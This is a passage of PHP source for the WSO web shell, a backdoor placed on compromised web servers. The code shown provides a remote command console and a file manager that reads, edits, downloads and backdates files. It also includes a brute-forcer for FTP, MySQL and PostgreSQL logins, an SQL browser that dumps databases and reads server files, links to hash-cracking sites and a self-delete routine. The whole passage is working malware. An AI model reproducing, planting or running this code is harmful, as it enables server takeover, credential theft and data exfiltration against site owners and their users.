549 if ($GLOBALS['sort'][0] != 'size') return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]])) * ($GLOBALS['sort'][1] ? 1 : -1);
550 else return (($a['size'] < $b['size']) ? -1 : 1) * ($GLOBALS['sort'][1] ? 1 : -1);
551 }
552 usort($files, "wsoCmp");
553 usort($dirs, "wsoCmp");
554 $files = array_merge($dirs, $files);
555 $l = 0;
556 foreach ($files as $f) {
557 echo '<tr' . ($l ? ' class=l1' : '') . '><td><input type=checkbox name="f[]" value="' . urlencode($f['name']) . '" class=chkbx></td><td><a href=# onclick="' . (($f['type'] == 'file') ? 'g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'view\')">' . htmlspecialchars($f['name']) : 'g(\'FilesMan\',\'' . $f['path'] . '\');" ' . (empty($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>') . '</a></td><td>' . (($f['type'] == 'file') ? wsoViewSize($f['size']) : $f['type']) . '</td><td>' . $f['modify'] . '</td><td>' . $f['owner'] . '/' . $f['group'] . '</td><td><a href=# onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\',\'chmod\')">' . $f['perms'] . '</td><td><a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'touch\')">T</a>' . (($f['type'] == 'file') ? ' <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'download\')">D</a>' : '') . '</td></tr>';
558 $l = $l ? 0 : 1;
559 }
560 echo "<tr><td colspan=7>
561 <input type=hidden name=a value='FilesMan'>
562 <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'>
563 <input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
564 <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
565 if (class_exists('ZipArchive')) echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
566 echo "<option value='tar'>Compress (tar.gz)</option>";
567 if (!empty($_COOKIE['act']) && @count($_COOKIE['f'])) echo "<option value='paste'>Paste / Compress</option>";
568 echo "</select> ";
569 if (!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar'))) echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip' ? 'zip' : 'tar.gz') . "'> ";
570 echo "<input type='submit' value='>>'></td></tr></form></table></div>";
571 wsoFooter();
572 }
573 function actionStringTools() {
574 if (!function_exists('hex2bin')) {
575 function hex2bin($p) {
576 return decbin(hexdec($p));
577 }
578 }
579 if (!function_exists('binhex')) {
580 function binhex($p) {
581 return dechex(bindec($p));
582 }
583 }
584 if (!function_exists('hex2ascii')) {
585 function hex2ascii($p) {
586 $r = '';
587 for ($i = 0;$i < strLen($p);$i+= 2) {
588 $r.= chr(hexdec($p[$i] . $p[$i + 1]));
589 }
590 return $r;
591 }
592 }
593 if (!function_exists('ascii2hex')) {
594 function ascii2hex($p) {
595 $r = '';
596 for ($i = 0;$i < strlen($p);++$i) $r.= sprintf('%02X', ord($p[$i]));
597 return strtoupper($r);
598 }
599 }
600 if (!function_exists('full_urlencode')) {
601 function full_urlencode($p) {
602 $r = '';
603 for ($i = 0;$i < strlen($p);++$i) $r.= '%' . dechex(ord($p[$i]));
604 return strtoupper($r);
605 }
606 }
607 $stringTools = array('Base64 encode' => 'base64_encode', 'Base64 decode' => 'base64_decode', 'Url encode' => 'urlencode', 'Url decode' => 'urldecode', 'Full urlencode' => 'full_urlencode', 'md5 hash' => 'md5', 'sha1 hash' => 'sha1', 'crypt' => 'crypt', 'CRC32' => 'crc32', 'ASCII to HEX' => 'ascii2hex', 'HEX to ASCII' => 'hex2ascii', 'HEX to DEC' => 'hexdec', 'HEX to BIN' => 'hex2bin', 'DEC to HEX' => 'dechex', 'DEC to BIN' => 'decbin', 'BIN to HEX' => 'binhex', 'BIN to DEC' => 'bindec', 'String to lower case' => 'strtolower', 'String to upper case' => 'strtoupper', 'Htmlspecialchars' => 'htmlspecialchars', 'String length' => 'strlen',);
608 if (isset($_POST['ajax'])) {
609 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
610 ob_start();
611 if (in_array($_POST['p1'], $stringTools)) echo $_POST['p1']($_POST['p2']);
612 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "
613
614 \'") . "';
615";
616 echo strlen($temp), "
617", $temp;
618 exit;
619 }
620 if (empty($_POST['ajax']) && !empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
621 wsoHeader();
622 echo '<h1>String conversions</h1><div class=content>';
623 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
624 foreach ($stringTools as $k => $v) echo "<option value='" . htmlspecialchars($v) . "'>" . $k . "</option>";
625 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 " . (@$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . "> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>" . (empty($_POST['p1']) ? '' : htmlspecialchars(@$_POST['p2'])) . "</textarea></form><pre class='ml1' style='" . (empty($_POST['p1']) ? 'display:none;' : '') . "margin-top:5px' id='strOutput'>";
626 if (!empty($_POST['p1'])) {
627 if (in_array($_POST['p1'], $stringTools)) echo htmlspecialchars($_POST['p1']($_POST['p2']));
628 }
629 echo "</pre></div><br><h1>Search files:</h1><div class=content>
630 <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
631 <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
632 <tr><td>Path:</td><td><input type='text' name='cwd' value='" . htmlspecialchars($GLOBALS['cwd']) . "' style='width:100%'></td></tr>
633 <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
634 <tr><td></td><td><input type='submit' value='>>'></td></tr>
635 </table></form>";
636 function wsoRecursiveGlob($path) {
637 if (substr($path, -1) != '/') $path.= '/';
638 $paths = @array_unique(@array_merge(@glob($path . $_POST['p3']), @glob($path . '*', GLOB_ONLYDIR)));
639 if (is_array($paths) && @count($paths)) {
640 foreach ($paths as $item) {
641 if (@is_dir($item)) {
642 if ($path != $item) wsoRecursiveGlob($item);
643 } else {
644 if (empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2']) !== false) echo "<a href='#' onclick='g(\"FilesTools\",null,\"" . urlencode($item) . "\", \"view\",\"\")'>" . htmlspecialchars($item) . "</a><br>";
645 }
646 }
647 }
648 }
649 if (@$_POST['p3']) wsoRecursiveGlob($_POST['c']);
650 echo "</div><br><h1>Search for hash:</h1><div class=content>
651 <form method='post' target='_blank' name='hf'>
652 <input type='text' name='hash' style='width:200px;'><br>
653 <input type='hidden' name='act' value='find'/>
654 <input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
655 <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
656 <input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br>
657 </form></div>";
658 wsoFooter();
659 }
660 function actionFilesTools() {
661 if (isset($_POST['p1'])) $_POST['p1'] = urldecode($_POST['p1']);
662 if (@$_POST['p2'] == 'download') {
663 if (@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
664 ob_start("ob_gzhandler", 4096);
665 header("Content-Disposition: attachment; filename=" . basename($_POST['p1']));
666 if (function_exists("mime_content_type")) {
667 $type = @mime_content_type($_POST['p1']);
668 header("Content-Type: " . $type);
669 } else header("Content-Type: application/octet-stream");
670 $fp = @fopen($_POST['p1'], "r");
671 if ($fp) {
672 while (!@feof($fp)) echo @fread($fp, 1024);
673 fclose($fp);
674 }
675 }
676 exit;
677 }
678 if (@$_POST['p2'] == 'mkfile') {
679 if (!file_exists($_POST['p1'])) {
680 $fp = @fopen($_POST['p1'], 'w');
681 if ($fp) {
682 $_POST['p2'] = "edit";
683 fclose($fp);
684 }
685 }
686 }
687 wsoHeader();
688 echo '<h1>File tools</h1><div class=content>';
689 if (!file_exists(@$_POST['p1'])) {
690 echo 'File not exists';
691 wsoFooter();
692 return;
693 }
694 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
695 if (!$uid) {
696 $uid['name'] = @fileowner($_POST['p1']);
697 $gid['name'] = @filegroup($_POST['p1']);
698 } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
699 echo '<span>Name:</span> ' . htmlspecialchars(@basename($_POST['p1'])) . ' <span>Size:</span> ' . (is_file($_POST['p1']) ? wsoViewSize(filesize($_POST['p1'])) : '-') . ' <span>Permission:</span> ' . wsoPermsColor($_POST['p1']) . ' <span>Owner/Group:</span> ' . $uid['name'] . '/' . $gid['name'] . '<br>';
700 echo '<span>Change time:</span> ' . date('Y-m-d H:i:s', filectime($_POST['p1'])) . ' <span>Access time:</span> ' . date('Y-m-d H:i:s', fileatime($_POST['p1'])) . ' <span>Modify time:</span> ' . date('Y-m-d H:i:s', filemtime($_POST['p1'])) . '<br><br>';
701 if (empty($_POST['p2'])) $_POST['p2'] = 'view';
702 if (is_file($_POST['p1'])) $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
703 else $m = array('Chmod', 'Rename', 'Touch');
704 foreach ($m as $v) echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\'' . strtolower($v) . '\')">' . ((strtolower($v) == @$_POST['p2']) ? '<b>[ ' . $v . ' ]</b>' : $v) . '</a> ';
705 echo '<br><br>';
706 switch ($_POST['p2']) {
707 case 'view':
708 echo '<pre class=ml1>';
709 $fp = @fopen($_POST['p1'], 'r');
710 if ($fp) {
711 while (!@feof($fp)) echo htmlspecialchars(@fread($fp, 1024));
712 @fclose($fp);
713 }
714 echo '</pre>';
715 break;
716 case 'highlight':
717 if (@is_readable($_POST['p1'])) {
718 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
719 $code = @highlight_file($_POST['p1'], true);
720 echo str_replace(array('<span ', '</span>'), array('<font ', '</font>'), $code) . '</div>';
721 }
722 break;
723 case 'chmod':
724 if (!empty($_POST['p3'])) {
725 $perms = 0;
726 for ($i = strlen($_POST['p3']) - 1;$i >= 0;--$i) $perms+= (int)$_POST['p3'][$i] * pow(8, (strlen($_POST['p3']) - $i - 1));
727 if (!@chmod($_POST['p1'], $perms)) echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
728 }
729 clearstatcache();
730 echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="' . substr(sprintf('%o', fileperms($_POST['p1'])), -4) . '"><input type=submit value=">>"></form>';
731 break;
732 case 'edit':
733 if (!is_writable($_POST['p1'])) {
734 echo 'File isn\'t writeable';
735 break;
736 }
737 if (!empty($_POST['p3'])) {
738 $time = @filemtime($_POST['p1']);
739 $_POST['p3'] = substr($_POST['p3'], 1);
740 $fp = @fopen($_POST['p1'], "w");
741 if ($fp) {
742 @fwrite($fp, $_POST['p3']);
743 @fclose($fp);
744 echo 'Saved!<br><script>p3_="";</script>';
745 @touch($_POST['p1'], $time, $time);
746 }
747 }
748 echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
749 $fp = @fopen($_POST['p1'], 'r');
750 if ($fp) {
751 while (!@feof($fp)) echo htmlspecialchars(@fread($fp, 1024));
752 @fclose($fp);
753 }
754 echo '</textarea><input type=submit value=">>"></form>';
755 break;
756 case 'hexdump':
757 $c = @file_get_contents($_POST['p1']);
758 $n = 0;
759 $h = array('00000000<br>', '', '');
760 $len = strlen($c);
761 for ($i = 0;$i < $len;++$i) {
762 $h[1].= sprintf('%02X', ord($c[$i])) . ' ';
763 switch (ord($c[$i])) {
764 case 0:
765 $h[2].= ' ';
766 break;
767 case 9:
768 $h[2].= ' ';
769 break;
770 case 10:
771 $h[2].= ' ';
772 break;
773 case 13:
774 $h[2].= ' ';
775 break;
776 default:
777 $h[2].= $c[$i];
778 break;
779 }
780 $n++;
781 if ($n == 32) {
782 $n = 0;
783 if ($i + 1 < $len) {
784 $h[0].= sprintf('%08X', $i + 1) . '<br>';
785 }
786 $h[1].= '<br>';
787 $h[2].= "
788";
789 }
790 }
791 echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>' . $h[0] . '</pre></span></td><td bgcolor=#282828><pre>' . $h[1] . '</pre></td><td bgcolor=#333333><pre>' . htmlspecialchars($h[2]) . '</pre></td></tr></table>';
792 break;
793 case 'rename':
794 if (!empty($_POST['p3'])) {
795 if (!@rename($_POST['p1'], $_POST['p3'])) echo 'Can\'t rename!<br>';
796 else die('<script>g(null,null,"' . urlencode($_POST['p3']) . '",null,"")</script>');
797 }
798 echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="' . htmlspecialchars($_POST['p1']) . '"><input type=submit value=">>"></form>';
799 break;
800 case 'touch':
801 if (!empty($_POST['p3'])) {
802 $time = strtotime($_POST['p3']);
803 if ($time) {
804 if (!touch($_POST['p1'], $time, $time)) echo 'Fail!';
805 else echo 'Touched!';
806 } else echo 'Bad time format!';
807 }
808 clearstatcache();
809 echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="' . date("Y-m-d H:i:s", @filemtime($_POST['p1'])) . '"><input type=submit value=">>"></form>';
810 break;
811 }
812 echo '</div>';
813 wsoFooter();
814 }
815 function actionConsole() {
816 if (!empty($_POST['p1']) && !empty($_POST['p2'])) {
817 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', true);
818 $_POST['p1'].= ' 2>&1';
819 } elseif (!empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', 0);
820 if (isset($_POST['ajax'])) {
821 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
822 ob_start();
823 echo "d.cf.cmd.value='';
824";
825 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("
826$ " . $_POST['p1'] . "
827" . wsoEx($_POST['p1']), "
828
829 \'"));
830 if (preg_match("!.*cd\s+([^;]+)$!", $_POST['p1'], $match)) {
831 if (@chdir($match[1])) {
832 $GLOBALS['cwd'] = @getcwd();
833 echo "c_='" . $GLOBALS['cwd'] . "';";
834 }
835 }
836 echo "d.cf.output.value+='" . $temp . "';";
837 echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
838 $temp = ob_get_clean();
839 echo strlen($temp), "
840", $temp;
841 exit;
842 }
843 if (empty($_POST['ajax']) && !empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
844 wsoHeader();
845 echo "<script>
846if(window.Event) window.captureEvents(Event.KEYDOWN);
847var cmds = new Array('');
848var cur = 0;
849function kp(e) {
850 var n = (window.Event) ? e.which : e.keyCode;
851 if(n == 38) {
852 cur--;
853 if(cur>=0)
854 document.cf.cmd.value = cmds[cur];
855 else
856 cur++;
857 } else if(n == 40) {
858 cur++;
859 if(cur < cmds.length)
860 document.cf.cmd.value = cmds[cur];
861 else
862 cur--;
863 }
864}
865function add(cmd) {
866 cmds.pop();
867 cmds.push(cmd);
868 cmds.push('');
869 cur = cmds.length-1;
870}
871</script>";
872 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
873 foreach ($GLOBALS['aliases'] as $n => $v) {
874 if ($v == '') {
875 echo '<optgroup label="-' . htmlspecialchars($n) . '-"></optgroup>';
876 continue;
877 }
878 echo '<option value="' . htmlspecialchars($v) . '">' . $n . '</option>';
879 }
880 echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 ' . (@$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX <input type=checkbox name=show_errors value=1 ' . (!empty($_POST['p2']) || $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'stderr_to_out'] ? 'checked' : '') . '> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
881 if (!empty($_POST['p1'])) {
882 echo htmlspecialchars("$ " . $_POST['p1'] . "
883" . wsoEx($_POST['p1']));
884 }
885 echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
886 echo '</form></div><script>d.cf.cmd.focus();</script>';
887 wsoFooter();
888 }
889 function actionLogout() {
890 setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
891 die('bye!');
892 }
893 function actionSelfRemove() {
894 if ($_POST['p1'] == 'yes') if (@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__))) die('Shell has been removed');
895 else echo 'unlink error!';
896 if ($_POST['p1'] != 'yes') wsoHeader();
897 echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
898 wsoFooter();
899 }
900 function actionBruteforce() {
901 wsoHeader();
902 if (isset($_POST['proto'])) {
903 echo '<h1>Results</h1><div class=content><span>Type:</span> ' . htmlspecialchars($_POST['proto']) . ' <span>Server:</span> ' . htmlspecialchars($_POST['server']) . '<br>';
904 if ($_POST['proto'] == 'ftp') {
905 function wsoBruteForce($ip, $port, $login, $pass) {
906 $fp = @ftp_connect($ip, $port ? $port : 21);
907 if (!$fp) return false;
908 $res = @ftp_login($fp, $login, $pass);
909 @ftp_close($fp);
910 return $res;
911 }
912 } elseif ($_POST['proto'] == 'mysql') {
913 function wsoBruteForce($ip, $port, $login, $pass) {
914 $res = @mysql_connect($ip . ':' . ($port ? $port : 3306), $login, $pass);
915 @mysql_close($res);
916 return $res;
917 }
918 } elseif ($_POST['proto'] == 'pgsql') {
919 function wsoBruteForce($ip, $port, $login, $pass) {
920 $str = "host='" . $ip . "' port='" . $port . "' user='" . $login . "' password='" . $pass . "' dbname=postgres";
921 $res = @pg_connect($str);
922 @pg_close($res);
923 return $res;
924 }
925 }
926 $success = 0;
927 $attempts = 0;
928 $server = explode(":", $_POST['server']);
929 if ($_POST['type'] == 1) {
930 $temp = @file('/etc/passwd');
931 if (is_array($temp)) foreach ($temp as $line) {
932 $line = explode(":", $line);
933 ++$attempts;
934 if (wsoBruteForce(@$server[0], @$server[1], $line[0], $line[0])) {
935 $success++;
936 echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($line[0]) . '<br>';
937 }
938 if (@$_POST['reverse']) {
939 $tmp = "";
940 for ($i = strlen($line[0]) - 1;$i >= 0;--$i) $tmp.= $line[0][$i];
941 ++$attempts;
942 if (wsoBruteForce(@$server[0], @$server[1], $line[0], $tmp)) {
943 $success++;
944 echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($tmp);
945 }
946 }
947 }
948 } elseif ($_POST['type'] == 2) {
949 $temp = @file($_POST['dict']);
950 if (is_array($temp)) foreach ($temp as $line) {
951 $line = trim($line);
952 ++$attempts;
953 if (wsoBruteForce($server[0], @$server[1], $_POST['login'], $line)) {
954 $success++;
955 echo '<b>' . htmlspecialchars($_POST['login']) . '</b>:' . htmlspecialchars($line) . '<br>';
956 }
957 }
958 }
959 echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
960 }
961 echo '<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>' . '<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>' . '<input type=hidden name=c value="' . htmlspecialchars($GLOBALS['cwd']) . '">' . '<input type=hidden name=a value="' . htmlspecialchars($_POST['a']) . '">' . '<input type=hidden name=charset value="' . htmlspecialchars($_POST['charset']) . '">' . '<span>Server:port</span></td>' . '<td><input type=text name=server value="127.0.0.1"></td></tr>' . '<tr><td><span>Brute type</span></td>' . '<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>' . '<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>' . '<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>' . '<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>' . '<td><input type=text name=login value="root"></td></tr>' . '<tr><td><span>Dictionary</span></td>' . '<td><input type=text name=dict value="' . htmlspecialchars($GLOBALS['cwd']) . 'passwd.dic"></td></tr></table>' . '</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
962 echo '</div><br>';
963 wsoFooter();
964 }
965 function actionSql() {
966 class DbClass {
967 var $type;
968 var $link;
969 var $res;
970 function DbClass($type) {
971 $this->type = $type;
972 }
973 function connect($host, $user, $pass, $dbname) {
974 switch ($this->type) {
975 case 'mysql':
976 if ($this->link = @mysql_connect($host, $user, $pass, true)) return true;
977 break;
978 case 'pgsql':
979 $host = explode(':', $host);
980 if (!$host[1]) $host[1] = 5432;
981 if ($this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname")) return true;
982 break;
983 }
984 return false;
985 }
986 function selectdb($db) {
987 switch ($this->type) {
988 case 'mysql':
989 if (@mysql_select_db($db)) return true;
990 break;
991 }
992 return false;
993 }
994 function query($str) {
995 switch ($this->type) {
996 case 'mysql':
997 return $this->res = @mysql_query($str);
998 break;
999 case 'pgsql':
1000 return $this->res = @pg_query($this->link, $str);
1001 break;
1002 }
1003 return false;
1004 }
1005 function fetch() {
1006 $res = func_num_args() ? func_get_arg(0) : $this->res;
1007 switch ($this->type) {
1008 case 'mysql':
1009 return @mysql_fetch_assoc($res);
1010 break;
1011 case 'pgsql':
1012 return @pg_fetch_assoc($res);
1013 break;
1014 }
1015 return false;
1016 }
1017 function listDbs() {
1018 switch ($this->type) {
1019 case 'mysql':
1020 return $this->query("SHOW databases");
1021 break;
1022 case 'pgsql':
1023 return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
1024 break;
1025 }
1026 return false;
1027 }
1028 function listTables() {
1029 switch ($this->type) {
1030 case 'mysql':
1031 return $this->res = $this->query('SHOW TABLES');
1032 break;
1033 case 'pgsql':
1034 return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
1035 break;
1036 }
1037 return false;
1038 }
1039 function error() {
1040 switch ($this->type) {
1041 case 'mysql':
1042 return @mysql_error();
1043 break;
1044 case 'pgsql':
1045 return @pg_last_error();
1046 break;
1047 }
1048 return false;
1049 }
1050 function setCharset($str) {
1051 switch ($this->type) {
1052 case 'mysql':
1053 if (function_exists('mysql_set_charset')) return @mysql_set_charset($str, $this->link);
1054 else $this->query('SET CHARSET ' . $str);
1055 break;
1056 case 'pgsql':
1057 return @pg_set_client_encoding($this->link, $str);
1058 break;
1059 }
1060 return false;
1061 }
1062 function loadFile($str) {
1063 switch ($this->type) {
1064 case 'mysql':
1065 return $this->fetch($this->query("SELECT LOAD_FILE('" . addslashes($str) . "') as file"));
1066 break;
1067 case 'pgsql':
1068 $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '" . addslashes($str) . "';select file from wso2;");
1069 $r = array();
1070 while ($i = $this->fetch()) $r[] = $i['file'];
1071 $this->query('drop table wso2');
1072 return array('file' => implode("
1073", $r));
1074 break;
1075 }
1076 return false;
1077 }
1078 function dump($table, $fp = false) {
1079 switch ($this->type) {
1080 case 'mysql':
1081 $res = $this->query('SHOW CREATE TABLE `' . $table . '`');
1082 $create = mysql_fetch_array($res);
1083 $sql = $create[1] . ";
1084";
1085 if ($fp) fwrite($fp, $sql);
1086 else echo ($sql);
1087 $this->query('SELECT * FROM `' . $table . '`');
1088 $i = 0;
1089 $head = true;
1090 while ($item = $this->fetch()) {
1091 $sql = '';
1092 if ($i % 1000 == 0) {
1093 $head = true;
1094 $sql = ";
1095
1096";
1097 }
1098 $columns = array();
1099 foreach ($item as $k => $v) {
1100 if ($v === null) $item[$k] = "NULL";
1101 elseif (is_int($v)) $item[$k] = $v;
1102 else $item[$k] = "'" . @mysql_real_escape_string($v) . "'";
1103 $columns[] = "`" . $k . "`";
1104 }
1105 if ($head) {
1106 $sql.= 'INSERT INTO `' . $table . '` (' . implode(", ", $columns) . ") VALUES
1107 (" . implode(", ", $item) . ')';
1108 $head = false;
1109 } else $sql.= "
1110 ,(" . implode(", ", $item) . ')';
1111 if ($fp) fwrite($fp, $sql);
1112 else echo ($sql);
1113 $i++;
1114 }
1115 if (!$head) if ($fp) fwrite($fp, ";
1116
1117");
1118 else echo (";
1119
1120");
1121 break;
1122 case 'pgsql':
1123 $this->query('SELECT * FROM ' . $table);
1124 while ($item = $this->fetch()) {
1125 $columns = array();
1126 foreach ($item as $k => $v) {
1127 $item[$k] = "'" . addslashes($v) . "'";
1128 $columns[] = $k;
1129 }
1130 $sql = 'INSERT INTO ' . $table . ' (' . implode(", ", $columns) . ') VALUES (' . implode(", ", $item) . ');' . "
1131";
1132 if ($fp) fwrite($fp, $sql);
1133 else echo ($sql);
1134 }
1135 break;
1136 }
1137 return false;
1138 }
1139 };
1140 $db = new DbClass($_POST['type']);
1141 if ((@$_POST['p2'] == 'download') && (@$_POST['p1'] != 'select')) {
1142 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
1143 $db->selectdb($_POST['sql_base']);
1144 switch ($_POST['charset']) {
1145 case "Windows-1251":
1146 $db->setCharset('cp1251');
1147 break;
1148 case "UTF-8":
1149 $db->setCharset('utf8');
1150 break;
1151 case "KOI8-R":
1152 $db->setCharset('koi8r');
1153 break;
1154 case "KOI8-U":
1155 $db->setCharset('koi8u');
1156 break;
1157 case "cp866":
1158 $db->setCharset('cp866');
1159 break;
1160 }
1161 if (empty($_POST['file'])) {
1162 ob_start("ob_gzhandler", 4096);
1163 header("Content-Disposition: attachment; filename=dump.sql");
1164 header("Content-Type: text/plain");
1165 foreach ($_POST['tbl'] as $v) $db->dump($v);
1166 exit;
1167 } elseif ($fp = @fopen($_POST['file'], 'w')) {
1168 foreach ($_POST['tbl'] as $v) $db->dump($v, $fp);
1169 fclose($fp);
1170 unset($_POST['p2']);
1171 } else die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
1172 }
1173 wsoHeader();
1174 echo "
1175<h1>Sql browser</h1><div class=content>
1176<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
1177<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
1178<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
1179<td><select name='type'><option value='mysql' ";
1180 if (@$_POST['type'] == 'mysql') echo 'selected';
1181 echo ">MySql</option><option value='pgsql' ";
1182 if (@$_POST['type'] == 'pgsql') echo 'selected';
1183 echo ">PostgreSql</option></select></td>
1184<td><input type=text name=sql_host value=\"" . (empty($_POST['sql_host']) ? 'localhost' : htmlspecialchars($_POST['sql_host'])) . "\"></td>
1185<td><input type=text name=sql_login value=\"" . (empty($_POST['sql_login']) ? 'root' : htmlspecialchars($_POST['sql_login'])) . "\"></td>
1186<td><input type=text name=sql_pass value=\"" . (empty($_POST['sql_pass']) ? '' : htmlspecialchars($_POST['sql_pass'])) . "\"></td><td>";
1187 $tmp = "<input type=text name=sql_base value=''>";
1188 if (isset($_POST['sql_host'])) {
1189 if ($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
1190 switch ($_POST['charset']) {
1191 case "Windows-1251":
1192 $db->setCharset('cp1251');
1193 break;
1194 case "UTF-8":
1195 $db->setCharset('utf8');
1196 break;
1197 case "KOI8-R":
1198 $db->setCharset('koi8r');
1199 break;
1200 case "KOI8-U":
1201 $db->setCharset('koi8u');
1202 break;
1203 case "cp866":
1204 $db->setCharset('cp866');
1205 break;
1206 }
1207 $db->listDbs();
